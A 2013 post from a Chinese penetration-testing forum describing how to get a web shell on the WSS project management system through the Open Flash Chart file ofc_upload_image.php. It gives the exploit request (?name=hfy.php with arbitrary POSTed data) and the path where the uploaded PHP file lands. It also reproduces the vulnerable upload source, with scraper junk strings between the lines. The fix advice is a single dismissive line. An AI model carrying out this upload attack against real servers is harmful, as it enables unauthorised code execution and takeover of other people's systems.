中国网络渗透测试联盟
标题:
WSS项目管理系统Post get shell
[打印本页]
作者:
admin
时间:
2013-2-23 12:38
标题:
WSS项目管理系统Post get shell
POST 数据漏洞文件执行任意后缀文件保存
. F! T+ a- j3 j
漏洞文件/chart/php-ofc-library/ofc_upload_image.php
- X0 X( E3 _" n* K
8 t: u, x* e5 R0 E7 C) I
利用：
+ P0 I) c, u; G" ~" u
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
/ s" c- H1 w, X# Z- W( D+ Q; S+ Q; m
7 u/ y. d. H* V( O# \
Post任意数据
: L6 T f t, b4 i% c& t
保存位置http://localhost/chart/tmp-upload-images/hfy.php
6 a( G5 _8 t& l# u
[attach]201[/attach]
# H; f- t& B' b1 @1 F: r! q6 c
[attach]202[/attach]
) Z- \* a* U& h4 o
最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~
8 a* s3 d6 X* z6 S9 r& p
2 v0 |% a$ \' A/ a9 ~2 H, H
<?php
$ H/ y0 z7 y$ n; ?
, J2 u+ K7 p3 G9 l8 \/ N6 B
//
{- R+ V# N( E. U
// In Open Flash Chart -> save_image debug mode, you
: ~& G& C! T2 h/ h9 m9 u. ^. c5 `
// will see the 'echo' text in a new window.
d4 k0 z5 |& A1 d1 D" W
//
# v, \# Z' X5 O- a1 m
' m( X" k7 S5 c+ z4 \4 j
/*
7 H: O) |! z2 G0 D3 e* w
1 J/ D, ~" y1 T3 n; P
print_r( $_GET );
- E( d' y$ y2 L, h% x
print_r( $_POST );
; y+ g/ I! J1 r& s+ D( {1 ]9 Z1 F
print_r( $_FILES );
1 p# D" O d" J7 R! M
) z& `5 o/ D+ ^* L
print_r( $GLOBALS );
6 e1 R' b' [; x: {
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
" w: l; l- X6 Q2 S* ]( I% P
: `7 F* z6 }9 ]0 l- ~- L0 `
*/
! A p- J8 ^' E; d# a4 `" [! g
// default path for the image to be stored //
8 }/ x/ e8 g% s
$default_path = '../tmp-upload-images/';
( m2 h* I& w# N! B0 ]4 v! S
0 P5 f9 y* ^+ X' L6 W* {2 }2 _( C
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
1 ~8 f4 D' {+ R5 t X8 [5 k: o
: F i, J: `" f* x( K0 D
// full path to the saved image including filename //
2 d- l% J8 x' D
$destination = $default_path . basename( $_GET[ 'name' ] );
2 f' I7 A% B" d h3 {/ \& j, Z
7 I" y; ?: w: C5 g
echo 'Saving your image to: '. $destination;
% m& S A. G/ _' X/ A) X! U
// print_r( $_POST );
# z( d: g& p! n2 d L* f
// print_r( $_SERVER );
+ x% n# T5 i" n6 I1 r, O2 {
// echo $HTTP_RAW_POST_DATA;
& [* v) q+ p0 ~; x O) L7 |
, | O( W( {2 k
//
. C5 K* O9 h. s5 [5 ]4 Y* @
// POST data is usually string data, but we are passing a RAW .png
8 \: X W$ B, e7 _
// so PHP is a bit confused and $_POST is empty. But it has saved
& I" R) [7 s+ w9 v' u
// the raw bits into $HTTP_RAW_POST_DATA
: S4 [, `2 ^' ~5 c
//
; k) c/ Q; Q5 _+ C) s# C* n
9 H- j; @. b* N- j n+ ]- u9 F$ T
$jfh = fopen($destination, 'w') or die("can't open file");
% i0 l4 ], E* @" O R
fwrite($jfh, $HTTP_RAW_POST_DATA);
, @+ c0 v! S: f" B* p" M
fclose($jfh);
: w7 a5 M! i/ ?- @" L
) X) [9 F$ T) |& ~" P5 ?
//
/ ^( S! b, O9 H, K- t
// LOOK:
$ c# f- v( X& p9 Q/ a/ p1 i; S' S
//
' x/ ]0 {: z1 { @9 t) G
exit();
3 F* W! g+ x4 ^
//
) f! t! K) z3 T6 L# R
// PHP5:
& z' r6 I/ P. M. A/ q1 Y+ d
//
4 ^% ^2 M/ k4 u/ D" x5 w
4 X$ |& D+ Q- ^
) ]) s9 [% v0 R* t: l5 Y' `+ X4 d2 h- \
// default path for the image to be stored //
8 p) g9 N3 ^) A \ v
$default_path = 'tmp-upload-images/';
0 {: v% f! L# G8 d/ e4 o% _
& @# w- g8 v% X# `
if (!file_exists($default_path)) mkdir($default_path, 0777, true);
& ~! g6 U; u! u: m6 j4 {6 A. H
9 i, B& }+ u2 N, u( s8 ~! \0 j1 X
// full path to the saved image including filename //
% I( d- x9 d3 u9 j2 a0 @4 {
$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );
8 m c! i& R7 y% v( Q
( V. {+ d$ C$ u
// move the image into the specified directory //
+ e3 ?+ T; t0 D9 Y9 p
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
/ Q) ?9 j5 M. F
echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
; h" @8 ?2 Q+ H* M- J# i
} else {
/ U2 S" U4 U% v- t. U" Y% R8 Q, T; d
echo "FILE UPLOAD FAILED";
" z/ t. I: }# t. m
}
, r8 V4 N# h5 b+ i' m( f
; \: I C7 ^6 D, }# p3 N2 C# w
4 G8 a" |2 ]; K# U3 J4 w- ^( Q. i
?>
6 Z6 @4 ]- b8 F# B. ]6 P* @
6 z3 b" ], ?9 w- D! n
1 J+ O; \2 c* b3 X' i
/ ~, H; V4 W+ m# o) {' \
i( n# V+ C$ @7 r7 B$ V
[attach]203[/attach]
1 w, b" X* v4 Y: `# M- y2 z/ g
( Y5 ~( _# _" x) _/ j; j' J% I
修复方案：
]# \: j' ]8 y5 Z; H
这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
7 N" W W; {% Z- h
* a. d5 T$ y9 `
- y* a: E* }; C) J$ p
: { y5 S- Y9 T, O5 |# ]
1 q9 B+ E. ?9 w- B7 B6 o5 f
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2